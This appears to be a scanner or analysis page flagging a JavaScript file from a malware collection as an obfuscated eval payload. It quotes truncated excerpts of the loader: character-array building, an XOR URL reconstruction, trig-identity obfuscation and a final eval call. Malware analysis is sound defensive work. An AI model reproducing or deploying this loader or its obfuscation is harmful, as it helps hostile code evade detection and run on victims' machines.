Suspicious ^80% javascript-malware-collection Download

20151216_01f39d41b29644223efba73ecedd0e56.js

Heavily obfuscated eval payload

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-25601495ee180b52b1bb00326917d3389f11bee8fe03d673a470d023ad7d0f206c6

Evidence

Builds characters with String.fromCharCode line 2

2:146… '^','F','j','j','&','[','(','m','.','t','H','T','q','k','g',',',String.fromCharCode(10),'A','S','_','D','Y','#','&',']','=',':','V','>','x','l',String.fromCharCode(13),'J','u',',','n','=',']','%','+',';','{','a','Z','#','M','*','3','n','w','E','b','/','%','z','E','+',':',']','=','d','m','H','k','g','%','&','5','[','^','l','&','@','K','?','>','I','D','U','H','(','x','m','+','r','8','6','g','1','v','7','x','U','Z','l','(','k',';','e','7','W','t …

XOR URL reconstruction call line 2

2:1854… 'v','W','Y','s','Z','T','m','H','!','J','[',';','-','k','w','q',String.fromCharCode(92),'$','u','*',']','A','(','r','4','z','g','^','u','G','q','7','_','p','h','^','$',' ','`','Y','N','G','a','Q','N','b','B','S','1','2','Q','X','T','c','^','3','^','d','T',')','x','e','$','$','M','l','T','w','f','%','c','!','q','g','l','z','h','&','q',',','-','h','i','Z','j','M','Q','@','4 …

Dense indexed short-token grid lines 4–13

4:44… YPxQCU){QlTm=eikGAPBmfPJMSUWKQ(CGpkqvLQrmV,plhiXrxwxqTov);NWIbf=QlTm.toString(ztYPxQCU);return NWIbf;}
5function jcJTipxKPeRHyXs(hTatQoUUzQFLtNlmk,fbwWIWBhIrJXirnPXGwBsZFWlXhKbLYGhO,AMUxFZQbDhLJhvuSYGZOOTLhTEwjDSZWIHJ){eval(hTatQoUUzQFLtNlmk);}
6function jCunGEMsGmRWmoJXaBRMwbDUQazVPNvkCjejpFXZnolmPJdtQMgESC(pYyfVxGyKNHXi,eVCtbgBrrTMcPh){ return GlJBcxN[uIzSeRKl[nbkvN(pYyfVxGyKNHXi[eVCtbgBrrTMcPh],(24643+697)/905,(2020+970)/299)]];}
7function GNptMsj(bYlsBkxgPgWcZmrHtOkNRAVzdQVqRdqpESzK) {return !KhmzQVIrJlc(qsbWUiSeVjKHkJu(bYlsBkxgPgWcZmrHtOkNRAVzdQVqRdqpESzK)) && FmqvTTsaPhKd(bYlsBkxgPgWcZmrHtOkNRAVzdQVqRdqpESzK);}
8function KhmzQVIrJlc(SsoyjwJtOkyovr) {return isNaN(SsoyjwJtOkyovr);}
9function FmqvTTsaPhKd(NXncDjdkNwKXq) {return isFinite(NXncDjdkNwKXq);}
10function eikGAPBmfPJMSUWKQ(ZyeRMQgiGn,FDFBCwyRln) {return parseInt(ZyeRMQgiGn,FDFBCwyRln);}
11function qsbWUiSeVjKHkJu(DSUcZVteoYHKEeXqhfO) {return parseFloat(DSUcZVteoYHKEeXqhfO);}
12function X(zLFpXBRLAKEtFN,kBDNFUoRbTRJA,OEuQlKDPCxB) {zLFpXBRLAKEtFN[kBDNFUoRbTRJA]=OEuQlKDPCxB;}
13var A = new Array();A[0]=[];A[0][0]='d';A[0][1]='a';A[0][2]='d';A[0][3]='a';A[0][4]='46';A[0][5]='3d';A[0][6]='42';A[0][7]='14';A[0][8]='49';A[0][9]='14';A[0][10]='25';A[0][11]='14';A[0][12]='16';A[0][13]='47';A[0][14]='3k';A[0][15]='3d';A[0][16]='44';A[0][17]='3g';A[0][18]='3l';A[0][19]='3g';A[0][20]='49';A[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],A[4],A[5]];
20var DAWaEQhfk=[];
21function aTuEVxEAHEliKXoHa(UykLm){GcjIduWThJA= '';xOMKYgGGFzn=Math.round((Math.pow(Math.sin(614), 2) + Math.pow(Math.cos(614), 2) - 1));while(true){if (xOMKYgGGFzn >= (4120+464)/764){break;}DAWaEQhfk[xOMKYgGGFzn]=Math.round((Math.pow(Math.sin(92), 2) + Math.pow(Math.cos(92), 2) - 1)); while(true) { if(DAWaEQhfk[xOMKYgGGFzn] > UykLm[xOMKYgGGFzn].length-(465+83)/548) { break; } if (GNptMsj(nbkvN(UykLm[xOMKYgGGFzn][DAWaEQhfk[xOMKYgGGFzn]],(7015+909)/283,(5981+579)/656))) {GcjIduWThJA += jCunGEMsGmRWmoJXaBRMwbDUQazVPNvkCjejpFXZnolmPJdtQMgESC([UykLm[xOMKYgGGFzn][DAWaEQhfk[xOMKYgGGFzn]]], Math.round((Math.pow(Math.sin(448), 2) + Math.pow(Math.cos(448), 2) - 1)));} DAWaEQhfk[xOMKYgGGFzn]++;}xOMKYgGGFzn++;} return GcjIduWThJA}
22var cBwfARWcZDVtUJIOKvQOGpOsSXWLtIVfE = 'sTNcKwnwAJLbFdGHvphrtYWwPXbiEfqtmMlf';var LnkTlRLdCBONwrDJBSPHsXjbLRFKgcPm = 'zVvoaShEOTBbiJANxhhdTAIjRkRtadMddfzU';jcJTipxKPeRHyXs(aTuEVxEAHEliKXoHa(UykLm),cBwfARWcZDVtUJIOKvQOGpOsSXWLtIVfE,LnkTlRLdCBONwrDJBSPHsXjbLRFKgcPm);